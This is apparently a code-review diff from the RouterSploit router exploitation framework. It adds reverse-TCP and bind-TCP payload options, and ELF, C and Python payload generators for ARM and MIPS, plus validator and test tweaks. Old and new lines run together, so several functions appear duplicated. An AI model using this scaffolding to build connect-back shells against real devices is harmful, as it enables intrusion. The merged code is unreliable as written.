filepath = exploits.Option("/tmp/{}".format(random_text(8)), 'Output file to write')
class ReverseTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
handler = PayloadHandlers.REVERSE_TCP
lhost = exploits.Option('', 'Connect-back IP address',
validators=validators.ipv4)
lport = exploits.Option(5555, 'Connect-back TCP Port',
validators=validators.integer)
class BindTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
handler = PayloadHandlers.BIND_TCP
rport = exploits.Option(5555, 'Bind Port',
validators=validators.integer)
class BasePayload(exploits.BaseExploit):
handler = None
def __init__(self):
if self.architecture == "armle":
self.bigendian = False
self.header = ARCH_ELF_HEADERS['armle']
elif self.architecture == "mipsbe":
self.bigendian = True
self.header = ARCH_ELF_HEADERS['mipsbe']
elif self.architecture == "mipsle":
self.bigendian = False
self.header = ARCH_ELF_HEADERS['mipsle']
else:
print_error("Define architecture. Supported architectures: armle, mipsbe, mipsle")
return None
if self.handler not in PayloadHandlers:
raise OptionValidationError(
"Please use one of valid payload handlers: {}".format(
PayloadHandlers._fields
)
)
def generate(self):
raise NotImplementedError("Please implement 'generate()' method")
def run(self):
raise NotImplementedError()
class ArchitectureSpecificPayload(BasePayload):
architecture = None
output = exploits.Option('python', 'Output type: elf/c/python')
filepath = exploits.Option(
"/tmp/{}".format(random_text(8)), 'Output file to write'
)
def __init__(self):
super(ArchitectureSpecificPayload, self).__init__()
if self.architecture not in Architectures:
raise OptionValidationError(
"Please use one of valid payload architectures: {}".format(
Architectures._fields
)
)
self.header = ARCH_ELF_HEADERS[self.architecture]
self.bigendian = True if self.architecture.endswith("be") else False
def run(self):
print_status("Generating payload")
self.generate()
try:
data = self.generate()
except OptionValidationError as e:
print_error(e)
return
if self.output == "elf":
with open(self.filepath, 'w+') as f:
print_status("Building ELF payload")
content = self.generate_elf()
content = self.generate_elf(data)
print_success("Saving file {}".format(self.filepath))
f.write(content)
elif self.output == "c":
print_success("Bulding payload for C")
content = self.generate_c(data)
print_info(content)
elif self.output == "python":
print_success("Building payload for python")
content = self.generate_python()
content = self.generate_python(data)
print_info(content)
else:
raise OptionValidationError(
"No such option as {}".format(self.output)
)
def convert_ip(self, addr):
res = ""
for i in addr.split("."):
res += chr(int(i))
return res
def convert_port(self, p):
res = "%.4x" % int(p)
return res.decode('hex')
def generate_elf(self):
elf = self.header + self.payload
def generate_elf(self, data):
elf = self.header + data
if self.bigendian:
p_filesz = pack(">L", len(elf))
p_memsz = pack(">L", len(elf) + len(self.payload))
p_memsz = pack(">L", len(elf) + len(data))
else:
p_filesz = pack("<L", len(elf))
p_memsz = pack("<L", len(elf) + len(self.payload))
p_memsz = pack("<L", len(elf) + len(data))
content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
return content
def generate_python(self):
res = "payload = (\n \""
for idx, x in enumerate(self.payload):
@staticmethod
def generate_c(data):
res = "unsigned char sh[] = {\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\"\n};"
return res
@staticmethod
def generate_python(data):
res = "payload = (\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\"\n)"
return res
class GenericPayload(BasePayload):
def run(self):
print_status("Generating payload")
print_info(
self.generate()
)
......@@ -90,8 +90,8 @@ class OptionTest(RoutersploitTestCase):
self.assertEqual(str(TestExploitFoo()), os.path.join('exploits', 'foo', 'bar'))
def test_exploit_options_property(self):
self.assertEqual(self.exploit_bar.options, ['paa', 'doo'])
self.assertEqual(self.exploit_foo.options, ['paa', 'doo'])
self.assertEqual(self.exploit_bar.options, ['paa', 'target', 'doo'])
self.assertEqual(self.exploit_foo.options, ['paa', 'target', 'doo'])
if __name__ == '__main__':
......
......@@ -26,7 +26,10 @@ def choice(valid_values):
def _enum(value):
if value not in valid_values:
raise OptionValidationError("Selected '{}' value isn't correct. Possible values are: {}".format(value, valid_values))
raise OptionValidationError(
"Selected '{}' value isn't correct. "
"Possible values are: {}".format(value, valid_values)
)
return value
......@@ -60,7 +63,8 @@ def boolify(value):
True -> "True", "t", "yes", "y", "on", "1"
False -> any other string
Objects other than string will be transformed using built-in bool() function.
Objects other than string will be transformed
using built-in bool() function.
"""
if isinstance(value, basestring):
try:
......@@ -76,4 +80,30 @@ def integer(number):
try:
return int(number)
except ValueError:
raise OptionValidationError("Invalid option. can't cast '{}' to integer.".format(number))
raise OptionValidationError(
"Invalid option. can't cast '{}' to integer.".format(number)
)
def convert_ip(address):
""" Convert IP to bytes"""
try:
res = ""
for i in address.split("."):
res += chr(int(i))
return res
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid IP address".format(address)
)
def convert_port(port):
""" Convert Port to bytes"""
try:
res = "%.4x" % int(port)
return res.decode('hex')
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid port number".format(port)
)
......@@ -26,6 +26,7 @@ def routersploit():
rsf = RoutersploitInterpreter()
rsf.start()
if __name__ == "__main__":
args = parser.parse_args()
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment